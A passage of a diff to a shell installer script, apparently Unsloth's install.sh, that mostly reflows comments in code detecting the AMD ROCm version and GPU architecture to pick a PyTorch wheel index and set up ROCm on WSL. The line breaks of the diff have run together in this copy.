a PATH-only lookup misses a tree that is right there. Not the Fedora shape: Fedora's hipconfig is /usr/bin/hipconfig, owned by hipcc._rt_hipconfig=""if command -v hipconfig >/dev/null 2>&1; then_rt_hipconfig=hipconfig@@ -3872,14 +3440,7 @@ _rocm_tag_from_hipconfig() {_rocm_tag_from_dpkg() {command -v dpkg-query >/dev/null 2>&1 || return 0- # Require the status word "installed" ($4 of the three-word ${Status}): dpkg-query -W lists- # every package except purged ones, so a removed-but-not-purged entry still reports its old- # version and could outrank the live runtime under highest-wins. ${Status} over- # ${db:Status-Status}: documented showformat field with no dpkg version floor, and an- # unrecognised field renders empty rather than failing, so a dpkg lacking it goes silent.- # `|| true` is load-bearing: dpkg-query exits nonzero when either package is absent while- # still printing the other's line. rocm-core wins outright; libhsa-runtime64-1 is read only- # in its absence (Debian ships no rocm-core), comes from the distro archive, and can be older.+ # Require the status word "installed" ($4 of the three-word ${Status}): dpkg-query -W lists every package except purged ones, so a removed-but-not-purged entry still reports its old version and could outrank the live runtime under highest-wins. ${Status} over ${db:Status-Status}: documented showformat field with no dpkg version floor, and an unrecognised field renders empty rather than failing, so a dpkg lacking it goes silent. `|| true` is load-bearing: dpkg-query exits nonzero when either package is absent while still printing the other's line. rocm-core wins outright; libhsa-runtime64-1 is read only in its absence (Debian ships no rocm-core), comes from the distro archive, and can be older.{ _run_bounded dpkg-query -W -f='${Package} ${Status} ${Version}\n' rocm-core libhsa-runtime64-1 2>/dev/null || true; } \| awk '$4 == "installed" && $5 != "" {@@ -3899,24 +3460,8 @@ _rocm_tag_from_dpkg() {_rocm_tag_from_rpm() {command -v rpm >/dev/null 2>&1 || return 0- # Bounded, alone among the five, because this is the one source highest-wins- # newly made unconditional that can block forever: it used to be LAST in a- # first-answer-wins `||` chain, so /opt/rocm/.info/version answered at position- # two and rpm was never invoked on a normal RHEL/SLES install. `rpm -q` is not a- # lock-free read -- a leftover /var/lib/rpm/__db.00* from a killed rpm/yum wedges- # plain queries in futex on the BerkeleyDB backend (rpm < 4.16, i.e. RHEL 8 /- # SLES 15; rhbz#485780, rhbz#73097), and rpm 6.0.x deadlocks `rpm --query`- # against a running dnf (rhbz#2463435). A version probe must not hang the- # installer, and a timed-out probe is just a source that declined to answer.- # _run_bounded no-ops where `timeout` is absent, so this adds no dependency.- # Fedora ships rocm-core but nothing except the `rocm` metapackage requires it, so a- # host running rocm-hip/rocm-runtime answered nothing (unslothai#8731). All names in- # ONE query, since looping would pay the timeout above once per name; rpm reports- # misses on stdout, so keep only lines starting with a digit. Every installed- # component is emitted, not just the first: these are all AMD packages from the same- # repo, so a partial upgrade can leave rocm-core 5.7 beside rocm-runtime 6.4, and- # ranking by argument order would read that host as 5.7 and send a supported runtime- # to CPU wheels. _highest_rocm_tag ranks them, as it does across the other sources.+ # Bounded, alone among the five, because this is the one source highest-wins newly made unconditional that can block forever: it used to be LAST in a first-answer-wins `||` chain, so /opt/rocm/.info/version answered at position two and rpm was never invoked on a normal RHEL/SLES install. `rpm -q` is not a lock-free read: a leftover /var/lib/rpm/__db.00* from a killed rpm/yum wedges plain queries in futex on the BerkeleyDB backend (rpm < 4.16, i.e. RHEL 8 / SLES 15; rhbz#485780, rhbz#73097), and rpm 6.0.x deadlocks `rpm --query` against a running dnf (rhbz#2463435). A version probe must not hang the installer, and a timed-out probe is just a source that declined to answer; _run_bounded no-ops where `timeout` is absent, so this adds no dependency.+ # Fedora ships rocm-core but nothing except the `rocm` metapackage requires it, so a host running rocm-hip/rocm-runtime answered nothing (unslothai#8731). All names in ONE query, since looping would pay the timeout above once per name; rpm reports misses on stdout, so keep only lines starting with a digit. Every installed component is emitted, not just the first: these are all AMD packages from the same repo, so a partial upgrade can leave rocm-core 5.7 beside rocm-runtime 6.4, and ranking by argument order would read that host as 5.7 and send a supported runtime to CPU wheels. _highest_rocm_tag ranks them, as it does across the other sources._rt_ver=$(_run_bounded rpm -q --qf '%{VERSION}\n' rocm-core rocm-runtime rocm-hip 2>/dev/null \| awk '/^[0-9]/{print}') || return 0[ -n "$_rt_ver" ] || return 0@@ -3938,16 +3483,7 @@ _highest_rocm_tag() {'}-# Consult EVERY source and take the highest, not the first that answers. Distros with split-# ROCm packaging ship one component well behind the runtime the GPU actually uses: Debian 13-# (and Linux Mint on top of it) packages hipconfig at 5.7.x next to a 6.1.x rocminfo/HSA, so-# first-answer resolution reported rocm5.7 on a working gfx1100 and the 6.0+ gate below sent-# it to CPU-only wheels (issue #8402). A source reading lower than another on the same host-# is stale packaging, not a downgrade. Overshoot is bounded: PyTorch's ROCm wheels vendor-# their own userspace and need only an amdgpu/KFD driver AMD documents as compatible +/- 2-# releases, the normalisation below can only emit a leaf PyTorch publishes, package-manager-# sources that can report an uninstalled tree are filtered above, and any disagreement is-# named on stderr for the install log.+# Consult EVERY source and take the highest, not the first that answers. Distros with split ROCm packaging ship one component well behind the runtime the GPU actually uses: Debian 13 (and Linux Mint on top of it) packages hipconfig at 5.7.x next to a 6.1.x rocminfo/HSA, so first-answer resolution reported rocm5.7 on a working gfx1100 and the 6.0+ gate below sent it to CPU-only wheels (issue #8402). A source reading lower than another on the same host is stale packaging, not a downgrade. Overshoot is bounded: PyTorch's ROCm wheels vendor their own userspace and need only an amdgpu/KFD driver AMD documents as compatible +/- 2 releases, the normalisation below can only emit a leaf PyTorch publishes, package-manager sources that can report an uninstalled tree are filtered above, and any disagreement is named on stderr for the install log.# Path of the cross-subshell answer cache; set by the parent shell, empty when unused._ROCM_TAG_MEMO=""@@ -3965,8 +3501,7 @@ _detect_rocm_version_tag() {} 2>/dev/null) || _rt_readings=""_rt_best=$(printf '%s\n' "$_rt_readings" | _highest_rocm_tag) || _rt_best=""if [ -n "$_rt_best" ]; then- # Same shape gate as _highest_rocm_tag: a reading that was never a candidate- # must not be named as a dissenting opinion.+ # Same shape gate as _highest_rocm_tag: a reading that was never a candidate must not be named as a dissenting opinion._rt_seen=$(printf '%s\n' "$_rt_readings" \| grep '^rocm[1-9][0-9]*\.[0-9][0-9]*$' | sort -u | tr '\n' ' ') || _rt_seen=""case "$_rt_seen" in@@ -4023,17 +3558,7 @@ get_torch_index_url() {if ! _has_amd_rocm_gpu; thenecho "$_base/cpu"; returnfi- # A generic rocm index is only safe when the gfx arch is readable: the- # Strix reroute (gfx1150/1151 -> arch-specific index) learns gfx from- # rocminfo/amd-smi, so if those are missing OR do not enumerate the GPU, an- # unknown-arch box might be Strix and would get the broken _grouped_mm- # wheels. Probe via the shared helper (override first, then rocminfo/amd-smi- # with visibility masks cleared); if the arch is unreadable, never guess a- # rocm index. A KFD-only host whose arch is still inferable from hardware- # IDs (PCI/cpuinfo/lspci) returns the cpu index and lets the runtime-less- # reroute below upgrade it to AMD per-arch wheels -- the reroute gate uses- # this same probe, so the handoff can't misfire. Only when inference fails- # too is CPU final, with the actionable warning.+ # A generic rocm index is only safe when the gfx arch is readable: the Strix reroute (gfx1150/1151 to the arch-specific index) learns gfx from rocminfo/amd-smi, so if those are missing OR do not enumerate the GPU, an unknown-arch box might be Strix and would get the broken _grouped_mm wheels. Probe via the shared helper (override first, then rocminfo/amd-smi with visibility masks cleared); if the arch is unreadable, never guess a rocm index. A KFD-only host whose arch is still inferable from hardware IDs (PCI/cpuinfo/lspci) returns the cpu index and lets the runtime-less reroute below upgrade it to AMD per-arch wheels, and the reroute gate uses this same probe so the handoff cannot misfire. Only when inference fails too is CPU final, with the actionable warning._amd_gfx_probe=$(_probe_amd_gfx_arch)if [ -z "$_amd_gfx_probe" ]; thenif _amd_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null) && \@@ -4042,15 +3567,12 @@ get_torch_index_url() {echo "[WARN] AMD GPU detected but rocminfo/amd-smi can't read its gfx arch -- inferring $_amd_inferred_gfx from hardware IDs." >&2echo "$_base/cpu"; returnfi- # Repairing rocminfo cannot help here: the arch would read fine and still- # have no wheels (unslothai#8529). Advice only, same CPU index either way.+ # Repairing rocminfo cannot help here: the arch would read fine and still have no wheels (#8529). Advice only, same CPU index either way.if _amd_unsup_gfx=$(_infer_linux_unsupported_amd_gfx_arch 2>/dev/null); then- # Scoped to the card named, never to the host: a second AMD GPU here- # may well have wheels, and nothing has looked at it yet.+ # Scoped to the card named, never to the host: a second AMD GPU here may well have wheels, and nothing has looked at it yet.echo "[WARN] AMD GPU detected ($_amd_unsup_gfx) -- Unsloth has no ROCm PyTorch wheels for that arch, installing CPU PyTorch." >&2echo "[WARN] This is expected on this GPU; repairing rocminfo/amd-smi or setting UNSLOTH_ROCM_GFX_ARCH will not give it ROCm PyTorch." >&2- # Torch ends here, llama.cpp does not. `export` is load-bearing: a bare- # assignment never reaches the re-run (the unslothai#8458 mistake).+ # Torch ends here, llama.cpp does not. `export` is load-bearing: a bare assignment never reaches the re-run (the #8458 mistake).echo "[INFO] GGUF chat can still use this GPU through Vulkan: export UNSLOTH_LLAMA_CPP_BACKEND=vulkan and re-run this installer (it selects the llama.cpp bundle at install time)." >&2echo "$_base/cpu"; returnfi@@ -4058,21 +3580,11 @@ get_torch_index_url() {echo "[WARN] For GPU PyTorch, install or repair rocminfo/amd-smi (e.g. sudo pacman -S rocm-hip-sdk) and re-run this installer." >&2echo "$_base/cpu"; returnfi- # Archs measured to compute INCORRECTLY under ROCm route to CPU instead. Not- # "everything AMD does not list": unsloth serves gfx906 and gfx1031-gfx1036 on purpose- # (#7277). gfx1033 (Van Gogh) installs ROCm wheels and then computes wrong answers- # (studio/ROCM_RDNA2_APU.md). PRESENCE, not selection: picking the runtime's GPU needs- # the mask layering _runtime_gfx_target() implements, so a mixed host takes the cpu- # index and keeps the UNSLOTH_TORCH_INDEX_URL escape hatch. Inline, not a helper:- # harnesses extract get_torch_index_url alone. "physical" mode so no override hides the- # silicon; KFD first, since amdkfd writes gfx_target_version from the kernel.+ # Archs measured to compute INCORRECTLY under ROCm route to CPU instead. Not "everything AMD does not list": unsloth serves gfx906 and gfx1031-gfx1036 on purpose (#7277), while gfx1033 (Van Gogh) installs ROCm wheels and then computes wrong answers (studio/ROCM_RDNA2_APU.md). PRESENCE, not selection: picking the runtime's GPU needs the mask layering _runtime_gfx_target() implements, so a mixed host takes the cpu index and keeps the UNSLOTH_TORCH_INDEX_URL escape hatch. Inline, not a helper: harnesses extract get_torch_index_url alone. "physical" mode so no override hides the silicon; KFD first, since amdkfd writes gfx_target_version from the kernel._amd_gfx_gate_probe=$(_probe_amd_gfx_arch physical 2>/dev/null || true)[ -n "$_amd_gfx_gate_probe" ] || _amd_gfx_gate_probe=$(_kfd_gfx_targets 2>/dev/null || true)if [ -z "$_amd_gfx_gate_probe" ] && [ -n "${HSA_OVERRIDE_GFX_VERSION:-}" ]; then- # Under a spoof nothing override-independent named the silicon, so the only value- # left is the spoofed name: absence of evidence, not evidence of a healthy arch.- # HSA_OVERRIDE_GFX_VERSION only, NOT UNSLOTH_ROCM_GFX_ARCH, which is a DECLARED- # arch for the runtime-less #7301 hosts.+ # Under a spoof nothing override-independent named the silicon, so the only value left is the spoofed name: absence of evidence, not evidence of a healthy arch. HSA_OVERRIDE_GFX_VERSION only, NOT UNSLOTH_ROCM_GFX_ARCH, which is a DECLARED arch for the runtime-less #7301 hosts.echo "[WARN] HSA_OVERRIDE_GFX_VERSION is set and this host cannot confirm its real arch (no unspoofed rocminfo, amd-smi or KFD topology)." >&2echo "[WARN] Installing CPU-only PyTorch rather than trusting the spoofed name: gfx1033 (Van Gogh) computes incorrect results under ROCm (studio/ROCM_RDNA2_APU.md)." >&2echo "[WARN] Unset HSA_OVERRIDE_GFX_VERSION so the arch can be read, or pin UNSLOTH_TORCH_INDEX_URL to choose deliberately." >&2@@ -4090,16 +3602,9 @@ get_torch_index_url() {esac# end of the miscomputing-arch gate -- tests/sh/test_rocm_bad_arch_gate.sh lifts# the block between the header comment above and this line, so keep both exact.- # detect ROCm version_rocm_tag=""_rocm_tag=$(_detect_rocm_version_tag) || _rocm_tag=""- # ^ || guard: belt and braces on the set -e contract the helpers hold, so a- # fresh AMD host with no version source at all still reaches the actionable- # no-version WARN below. stderr is deliberately not redirected: each source- # already silences its own noise, leaving only the sources-disagree- # breadcrumb, which belongs in the install log.- # Shape gate on "rocmX.Y" with major >= 1: _highest_rocm_tag enforces it too,- # kept so a future source cannot leak garbage into the cases below.+ # The `||` guard is belt and braces on the set -e contract the helpers hold, so a fresh AMD host with no version source at all still reaches the actionable no-version WARN below. stderr is deliberately not redirected: each source already silences its own noise, leaving only the sources-disagree breadcrumb, which belongs in the install log. The shape gate on "rocmX.Y" with major >= 1 is kept, though _highest_rocm_tag enforces it too, so a future source cannot leak garbage into the cases below.case "$_rocm_tag" inrocm[1-9]*.[0-9]*) : ;; # valid (major >= 1)*) _rocm_tag="" ;; # reject malformed (empty, garbled, or major=0)@@ -4132,14 +3637,7 @@ get_torch_index_url() {esacreturnfi- # AMD GPU confirmed (rocminfo/amd-smi or the KFD topology fallback) but- # no ROCm/HIP install was found to read the version from (amd-smi,- # /opt/rocm/.info/version, hipconfig, dpkg, rpm). This is the common- # fresh-install case: the GPU is real, but with no ROCm userspace the- # correct PyTorch build can't be selected. Warn with an actionable fix- # rather than silently installing CPU PyTorch.- # The version only picks between the generic rocmX.Y leaves, so an arch with its- # own repo.amd.com/rocm/whl/gfx* index does not need one (unslothai#8731).+ # AMD GPU confirmed (rocminfo/amd-smi or the KFD topology fallback) but no ROCm/HIP install was found to read the version from. This is the common fresh-install case: the GPU is real, but with no ROCm userspace the correct PyTorch build cannot be selected, so warn with an actionable fix rather than silently installing CPU PyTorch. The version only picks between the generic rocmX.Y leaves, so an arch with its own repo.amd.com/rocm/whl/gfx* index does not need one (#8731)._amd_gfx_family=$(_amd_agreed_index_family "$_amd_gfx_probe") || _amd_gfx_family=""if [ -n "$_amd_gfx_family" ]; then_amd_gfx_first=$(_amd_sole_index_arch "$_amd_gfx_probe") || _amd_gfx_first=""@@ -4152,9 +3650,7 @@ get_torch_index_url() {fiecho "[WARN] AMD GPU detected, but no ROCm version could be read to select the matching GPU PyTorch build -- falling back to CPU-only PyTorch." >&2if [ -d "${ROCM_PATH:-/opt/rocm}" ]; then- # Telling someone with a populated ROCm tree that "no ROCm install was found"- # sends them off to install a package they already have. Fedora is the OTHER- # branch: it owns no path under /opt/rocm, so it lands on the SDK hint.+ # Telling someone with a populated ROCm tree that "no ROCm install was found" sends them off to install a package they already have. Fedora is the OTHER branch: it owns no path under /opt/rocm, so it lands on the SDK hint.echo "[WARN] ${ROCM_PATH:-/opt/rocm} exists, so ROCm is likely installed but not reporting a version this installer can read." >&2echo "[WARN] Pin the wheels and re-run: UNSLOTH_TORCH_INDEX_FAMILY=rocm6.4 (a PyTorch wheel leaf: rocm6.0-6.4, rocm7.0-7.2)" >&2else@@ -4186,9 +3682,7 @@ get_torch_index_url() {}# ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ──-# torch.__version__ ($1) -> flavor tag (cuXXX / rocm / xpu / cpu); untagged wheel = cpu.-# The xpu arm is load-bearing: without it a +xpu wheel reads as "cpu" and is force-reinstalled-# on every run. Parity with the ps1 side.+# torch.__version__ ($1) to flavor tag (cuXXX / rocm / xpu / cpu); untagged wheel is cpu. The xpu arm is load-bearing: without it a +xpu wheel reads as "cpu" and is force-reinstalled on every run._torch_flavor_tag() {case "$1" in*+cu[0-9]*) printf '%s\n' "$1" | sed -n 's/.*+\(cu[0-9][0-9]*\).*/\1/p' ;;@@ -4301,8 +3795,7 @@ _install_torch_default_index() {fi}-# Expected tag from the index leaf ($1): cuXXX / cpu / xpu / rocm (rocmX.Y and gfx* ->-# rocm). Empty on an unknown leaf (odd mirror) so the repair safely no-ops.+# Expected tag from the index leaf ($1): cuXXX / cpu / xpu / rocm (rocmX.Y and gfx* both give rocm). Empty on an unknown leaf so the repair safely no-ops._expected_torch_flavor_tag() {_leaf=$(_torch_index_url_leaf "$1")case "$_leaf" in@@ -4323,9 +3816,7 @@ _expected_torch_flavor_tag() {esac}-# Installed torch's version label, for expected-flavor tag $1. The xpu path reads it off disk-# (as setup.sh's fast-path escape does): `import torch` can block forever on a wedged Intel-# driver. Other families keep the interpreter read.+# Installed torch's version label, for expected-flavor tag $1. The xpu path reads it off disk, as setup.sh's fast-path escape does, since `import torch` can block forever on a wedged Intel driver. Other families keep the interpreter read._installed_torch_version_for_tag() {if [ "$1" = "xpu" ]; thenfor _itv in "$VENV_DIR"/lib/python*/site-packages/torch/version.py; do@@ -4338,11 +3829,7 @@ _installed_torch_version_for_tag() {"$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true}-# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX /-# xpu / rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv-# resolves (torch + every transitive dep) via --default-index -- the same URLs the-# fresh-install paths above already use -- so a stale wheel is auto-repairable.-# Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall.+# Whether index ($1) supports a plain --default-index reinstall. The pytorch.org cuXXX / xpu / rocmX.Y AND repo.amd.com gfx* indexes are all PEP 503 simple indexes uv resolves torch and every transitive dep from, the same URLs the fresh-install paths use, so a stale wheel is auto-repairable. Unknown or odd-mirror leaves are not, so we warn rather than risk a wrong reinstall._torch_index_repairable() {_leaf=$(_torch_index_url_leaf "$1")case "$_leaf" in@@ -4394,8 +3881,7 @@ _radeon_host_ver_not_older() {}get_radeon_wheel_url() {- # Only meaningful on Linux. AMD publishes both M.m and M.m.p rocm-rel directories, so- # both X.Y and X.Y.Z are valid leaf names here.+ # Only meaningful on Linux. AMD publishes both M.m and M.m.p rocm-rel directories, so both X.Y and X.Y.Z are valid leaf names here.case "$(uname -s)" in Linux) ;; *) echo ""; return ;; esac_full_ver=""@@ -4543,8 +4029,7 @@ _maybe_bootstrap_rocm_wsl() {fi# WSL GPU passthrough device must exist (present on any WSL2 GPU host).[ -e /dev/dxg ] || return 0- # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also- # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.+ # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards do not, so also ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo.if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \&& ! _wsl_amd_gpu_name >/dev/null 2>&1; thenreturn 0@@ -4568,29 +4053,16 @@ _maybe_bootstrap_rocm_wsl() {substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU."substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)"- # Locate the helper: prefer the copy shipped beside install.sh, else fetch it. The local- # copy counts only for a --local checkout run, since this executes with no prompt and- # _REPO_ROOT may otherwise be the caller's cwd. The fetch pulls the same script.- #- # PINNED, never a branch: this runs unattended and installs with sudo, so a moving ref- # would turn any rewrite of that branch into root code on every affected WSL box. Bump- # it whenever the helper changes; lagging only means an older helper, and the gate below- # rejects one too old to be safe.+ # Locate the helper: prefer the copy shipped beside install.sh, else fetch it. The local copy counts only for a --local checkout run, since this executes with no prompt and _REPO_ROOT may otherwise be the caller's cwd. PINNED, never a branch: this runs unattended and installs with sudo, so a moving ref would turn any rewrite of that branch into root code on every affected WSL box. Bump it whenever the helper changes; lagging only means an older helper, and the gate below rejects one too old to be safe._ROCM_WSL_HELPER_REF="d3367edd9a1de7a0ac15aa899bd9cb97173679dc"- # librocdxg pin (v1.2.2), forwarded to the helper. The ref IS the commit, so an older- # helper that ignores the SHA still resolves this exact revision: its `--branch <sha>`- # attempt fails and the full clone plus checkout land on it. Kept equal to the helper's- # defaults; a test enforces that. A user-set ref wins and, with no SHA of its own, turns- # the helper's check off rather than failing against our pin.+ # librocdxg pin (v1.2.2), forwarded to the helper. The ref IS the commit, so an older helper that ignores the SHA still resolves this exact revision: its `--branch <sha>` attempt fails and the full clone plus checkout land on it. Kept equal to the helper's defaults; a test enforces that. A user-set ref wins and, with no SHA of its own, turns the helper's check off rather than failing against our pin._rw_dxg_ref="${UNSLOTH_LIBROCDXG_REF:-}"_rw_dxg_sha="${UNSLOTH_LIBROCDXG_SHA:-}"if [ -z "$_rw_dxg_ref" ]; then_rw_dxg_ref="4955d12888a3ec57057f1cf8660c2485e415e74c"[ -n "$_rw_dxg_sha" ] || _rw_dxg_sha="$_rw_dxg_ref"fi- # A known SHA is authoritative, so forward it AS the ref: an operator pinning a branch- # plus its expected commit would otherwise have that symbolic ref cloned unverified by a- # helper old enough to ignore the SHA.+ # A known SHA is authoritative, so forward it AS the ref: an operator pinning a branch plus its expected commit would otherwise have that symbolic ref cloned unverified by a helper old enough to ignore the SHA.if [ -n "$_rw_dxg_sha" ]; then_rw_dxg_ref="$_rw_dxg_sha"fi@@ -4607,22 +4079,14 @@ _maybe_bootstrap_rocm_wsl() {fifi- # Run ONLY a helper declaring the contract (defined in its header): verifies the clone- # against the pinned SHA, and treats an unresolvable checkout as fatal. One without it- # swallows that failure and would build the repo's default HEAD as root once the pinned- # ref stopped existing. Gating on the declaration is what makes this fail closed whatever- # the pin, or a user's older checkout, supplies.+ # Run ONLY a helper declaring the contract (defined in its header): verifies the clone against the pinned SHA, and treats an unresolvable checkout as fatal. One without it swallows that failure and would build the repo's default HEAD as root once the pinned ref stopped existing. Gating on the declaration is what makes this fail closed whatever the pin supplies.if ! grep -q "^UNSLOTH_ROCM_WSL_HELPER_CONTRACT=2$" "$_rw_helper" 2>/dev/null; thensubstep "ROCm-on-WSL helper predates the pinned-source check; using CPU fallback." "$C_WARN"[ -n "$_rw_tmp" ] && rm -f "$_rw_tmp"return 0fi- # Consent: the narrow guarded case is exactly the GPU setup the user ran the- # installer for, so it proceeds AUTOMATICALLY by default (works with no TTY,- # e.g. a piped web install). Opt out via UNSLOTH_SKIP_ROCM_WSL_SETUP=1 (top of- # function). The Tauri app drives its own consent UI, so under TAURI_MODE it- # only runs when the app passes UNSLOTH_ROCM_WSL_AUTO=1; else surface and wait.+ # Consent: the narrow guarded case is exactly the GPU setup the user ran the installer for, so it proceeds AUTOMATICALLY by default, with no TTY needed. Opt out via UNSLOTH_SKIP_ROCM_WSL_SETUP=1. The Tauri app drives its own consent UI, so under TAURI_MODE it only runs when the app passes UNSLOTH_ROCM_WSL_AUTO=1; else surface and wait._rw_go=1if [ "${TAURI_MODE:-false}" = "true" ] && [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" != "1" ]; thentauri_log "ROCM_WSL_AVAILABLE" "strixhalo"@@ -4631,13 +4095,11 @@ _maybe_bootstrap_rocm_wsl() {fiif [ "$_rw_go" = "1" ]; then- # Helper does its own sudo + is idempotent. SMOKE_TEST=0: install.sh- # installs torch itself right after, into the real venv.+ # Helper does its own sudo and is idempotent. SMOKE_TEST=0: install.sh installs torch itself right after, into the real venv.if UNSLOTH_WSL_SMOKE_TEST=0 \UNSLOTH_LIBROCDXG_REF="$_rw_dxg_ref" UNSLOTH_LIBROCDXG_SHA="$_rw_dxg_sha" \bash "$_rw_helper"; then- # Pull the helper's persisted env into THIS shell so detection- # (rocminfo) now enumerates the GPU and routes to gfx1151.+ # Pull the helper's persisted env into THIS shell so detection (rocminfo) now enumerates the GPU and routes to gfx1151.if [ -r /etc/profile.d/unsloth-rocm-wsl.sh ]; then# shellcheck disable=SC1091. /etc/profile.d/unsloth-rocm-wsl.sh || true@@ -4661,26 +4123,13 @@ if [ -n "$_ti_url_trim" ] || [ -n "$_ti_family_trim" ]; thenfi[ "$_torch_index_pinned" = true ] || _maybe_bootstrap_rocm_wsl || true-# Created here, not inside get_torch_index_url: that runs in a command substitution, so only-# a file outlives it. mktemp -d, never a $$-derived name -- a predictable path under a-# world-writable /tmp can be pre-created as a symlink, feeding the probe a chosen version.+# Created here, not inside get_torch_index_url: that runs in a command substitution, so only a file outlives it. mktemp -d, never a $$-derived name: a predictable path under a world-writable /tmp can be pre-created as a symlink, feeding the probe a chosen version._ROCM_TAG_MEMO_DIR=$(mktemp -d "${TMPDIR:-/tmp}/unsloth-rocm.XXXXXX" 2>/dev/null) \&& _ROCM_TAG_MEMO="$_ROCM_TAG_MEMO_DIR/tag" || _ROCM_TAG_MEMO=""TORCH_INDEX_URL=$(get_torch_index_url)-# Linux: ROCm runtime missing but a supported AMD gfx arch is inferable (Strix Halo-# in /proc/cpuinfo, lspci marketing name, UNSLOTH_ROCM_GFX_ARCH). Route to AMD's-# per-arch wheels like install.ps1 does on Windows (unslothai#7301).-# Gated on the runtime probes NOT naming a gfx: either no AMD GPU is detected at-# all (_has_amd_rocm_gpu false), or the GPU is visible only through the-# env-independent KFD topology while rocminfo/amd-smi can't read its arch-# (KFD-only host, unslothai#7314 -- before the KFD detection fix these hosts-# reached this reroute via the false branch, so the empty-probe condition-# preserves that routing). A */cpu index chosen WITH a readable gfx and a readable but-# UNSUPPORTED ROCm version is a deliberate fallback, and stays excluded because the shared-# probe returns its gfx. An UNREADABLE version is only a detection miss, so it gets its own-# way in below (unslothai#8731). UNSLOTH_ROCM_GFX_ARCH stays authoritative either way.+# Linux: ROCm runtime missing but a supported AMD gfx arch is inferable (Strix Halo in /proc/cpuinfo, lspci marketing name, UNSLOTH_ROCM_GFX_ARCH). Route to AMD's per-arch wheels like install.ps1 does on Windows (unslothai#7301). Gated on the runtime probes NOT naming a gfx: either no AMD GPU is detected at all, or the GPU is visible only through the env-independent KFD topology while rocminfo/amd-smi cannot read its arch (#7314; before the KFD detection fix these hosts reached this reroute via the false branch, so the empty-probe condition preserves that routing). A */cpu index chosen WITH a readable gfx and a readable but UNSUPPORTED ROCm version is a deliberate fallback and stays excluded, since the shared probe returns its gfx; an UNREADABLE version is only a detection miss, so it gets its own way in below (#8731). UNSLOTH_ROCM_GFX_ARCH stays authoritative either way._amd_no_rocm_version_reroute=false_amd_probed_gfx_first=""@@ -4690,22 +4139,13 @@ case "$TORCH_INDEX_URL" in[ -z "${UNSLOTH_ROCM_GFX_ARCH:-}" ] && \! _has_usable_nvidia_gpu && _has_amd_rocm_gpu; then_amd_probe_out=$(_probe_amd_gfx_arch)- # HSA_OVERRIDE_GFX_VERSION=11.0.0 is the standard Strix Halo workaround, and- # ROCr then reports the spoofed gfx1100. The llama.cpp path corrects that- # further down, which is too late for this branch: both the wheel family and- # the exported arch are derived from this probe, so an uncorrected gfx1151- # would take gfx110X-all wheels and export gfx1100 to setup.sh.+ # HSA_OVERRIDE_GFX_VERSION=11.0.0 is the standard Strix Halo workaround, and ROCr then reports the spoofed gfx1100. The llama.cpp path corrects that further down, which is too late for this branch: both the wheel family and the exported arch are derived from this probe, so an uncorrected gfx1151 would take gfx110X-all wheels and export gfx1100 to setup.sh._amd_spoof_inferred=$(_infer_linux_amd_gfx_arch 2>/dev/null || true)_amd_spoof_physical=$(_hsa_spoofed_physical_gfx "$_amd_spoof_inferred" "$_amd_probe_out")if [ -n "${_amd_spoof_physical:-}" ]; then_amd_probe_out="$_amd_spoof_physical"fi- # An empty correction has two meanings and only one of them is "no spoof": the- # helper also declines whenever the KFD reports more than one GPU node, because- # the override can collapse several physical targets into one reported token.- # Counting NODES rather than distinct arches deliberately matches the helper's- # own rule -- it declines on two nodes even where they agree -- so a singleton- # probe it refused to vouch for never picks a family on its own.+ # An empty correction has two meanings and only one of them is "no spoof": the helper also declines whenever the KFD reports more than one GPU node, because the override can collapse several physical targets into one reported token. Counting NODES rather than distinct arches deliberately matches the helper's own rule, so a singleton probe it refused to vouch for never picks a family on its own.if [ -z "${_amd_spoof_physical:-}" ] && [ -n "${HSA_OVERRIDE_GFX_VERSION:-}" ] && \[ "$(_kfd_gfx_targets | awk 'NF { n++ } END { print n + 0 }')" -gt 1 ]; then_amd_probe_out=""@@ -4714,10 +4154,7 @@ case "$TORCH_INDEX_URL" in|| _amd_probed_family=""_amd_probed_gfx_first=$(_amd_sole_index_arch "$_amd_probe_out") \|| _amd_probed_gfx_first=""- # A measured-bad arch anywhere in the inventory disqualifies the whole family, at- # the source not at each consumer: gfx1033 shares gfx103X-all with gfx1030-gfx1036,- # so the shared-family arm below would otherwise rewrite the cpu index the gate- # just chose back to ROCm wheels.+ # A measured-bad arch anywhere in the inventory disqualifies the whole family, at the source not at each consumer: gfx1033 shares gfx103X-all with gfx1030-gfx1036, so the shared-family arm below would otherwise rewrite the cpu index the gate just chose back to ROCm wheels.case " $(printf '%s\n' "$_amd_probe_out" | sed 's/:.*$//' \| tr '[:upper:]' '[:lower:]' | tr '\n' ' ')" in*" gfx1033 "*)@@ -4739,30 +4176,18 @@ if [ "$_torch_index_pinned" = false ] && [ "$SKIP_TORCH" = false ] && \[ "${_amd_no_rocm_version_reroute:-false}" = true ]; } && \case "$(uname -s)" in Linux) true ;; *) false ;; esac && \case "$_ARCH" in x86_64|amd64) true ;; *) false ;; esac; then- # ROCm torch wheels are x86_64-only; get_torch_index_url returns CPU on other- # arches, so an inferred/overridden gfx must not reroute arm64 to AMD wheels.+ # ROCm torch wheels are x86_64-only; get_torch_index_url returns CPU on other arches, so an inferred or overridden gfx must not reroute arm64 to AMD wheels.case "$TORCH_INDEX_URL" in*/cpu)_linux_inferred_gfx=$(_infer_linux_amd_gfx_arch 2>/dev/null || true)- # Inference hands an explicit override back verbatim, and HIP's gcnArchName- # carries feature flags (gfx1201:sramecc+:xnack-) the index table has no arm- # for, so the suffix silently cost the reroute. Normalise as the caller did.+ # Inference hands an explicit override back verbatim, and HIP's gcnArchName carries feature flags (gfx1201:sramecc+:xnack-) the index table has no arm for, so the suffix silently cost the reroute. Normalise as the caller did._linux_inferred_gfx=$(_amd_sole_index_arch "$_linux_inferred_gfx") \|| 